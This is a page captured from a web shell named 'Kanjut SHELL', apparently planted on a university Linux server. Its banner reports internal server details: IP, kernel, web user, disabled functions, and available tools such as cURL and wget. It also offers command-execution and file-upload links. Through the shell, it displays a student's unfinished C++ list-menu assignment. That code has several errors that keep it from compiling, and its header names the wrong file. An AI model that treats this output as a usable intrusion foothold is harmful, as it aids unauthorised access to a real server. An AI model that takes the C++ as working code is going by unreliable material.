Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.141.2.191
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bafreeman/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/assign7.cpp
//      File name:      assign6.cpp
//      Author:         Benjamin Freeman
//      Instructor:     Dr. John Wang
//      Due date:       Wed., Apr. 2, 2008
//      Compilation:    g++ assign6.cpp -o assign6.out
//      Execution:      ./assign6.out
//
//      Goal: This program will allow the user to perform the following operations:
//	insert a name, find a name, print the name list, sort the list, and quit the program.

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
const int MAX = 100;

class List
{ 
	int length;
	vector<string> data();
public:
	List ( )
	{ 
		length = 0; 
	}
	int Length ( ) const
	{ 
		return length; 
	}
	bool IsFull ( ) const
	{ 
		return ( length == MAX ); 
	}
	bool IsEmpty ( ) const
	{ 
		return ( length == 0 ); 
	}
	void Print ( ) const 
	{ 
		for ( int k=0; k< data.size(); k++ )
			cout << data[k] << endl;
	}
	void Insert ( string item )
	{ 
		data.push_back();
		length ++;
	}
	void Delete ()
	{
		data.pop_back();
	}
	void Size ()
	{
		data.size();
	}
	void Reverse ()
	{
		reverse(data.begin(), data.end());
	}
	void Sort ()
	{
		sort(data.begin(), data.end(), greater<string>());
	}
};


void menu ();
void process ( char, List& );
int main()
{
	List myList;
	char ch;
	menu();
	cin >> ch;
	while ( tolower(ch) != 'q' )
	{
		process(ch, myList);
		menu(); 
		cin >> ch;
	}
	cout << "\n----------------------------------" << endl;
	cout << "Thanks for using the program, bye" << endl;
	cout << "----------------------------------" << endl;
	getchar();
	return 0;
}

void menu ()
{
	cout << "-------------------------------------\n";
	cout << "Welcome to the word storage program\n";
	cout << "-------------------------------------\n";
	cout << "a: insert a word\n";
	cout << "b: delete the last word\n";
	cout << "c: sort the list in ascending order\n";
	cout << "d: sort the list in decscending order\n";
	cout << "e: print the number of words in the list\n";
	cout << "f: reverse the order of the words\n";
	cout << "g: empty the list\n";
	cout << "q: quit the program\n";
	cout << "\nChoose your operation: ";
}

void process ( char ch, List& myList )
{
	vector<string> s1;
	char dummy;
	switch ( tolower(ch) )
	{ 
		case 'a':
			cout << "Input a word: ";
			cin >> s1;
			myList.Insert(s1);
			cout << "The list is: ";
			myList.Print();
			getchar();
			break;

		case 'b':
			myList.Delete();
			cout << "The list is now: ";
			myList.Print();
			getchar();
			break;
		case 'c':
			cout << "\nThe list is: " << endl;
			sort(s1.begin(), s1.end(), greater<string>);	
			myList.Print(); 
			getchar();
			break;
		case 'd':
			myList.Reverse();
			getchar();
			break;
		case 'e':
			cout << "The number of words in the list is: ";
			myList.Size(); 
			getchar();
			break;
		//case 'f':
			





		default:
			cout << "\nInvalid input.\n" ;
			cout << "\n\nType any key to continue ..\n";
			getchar();
	}
	return;
}


Stv3n404 - 2023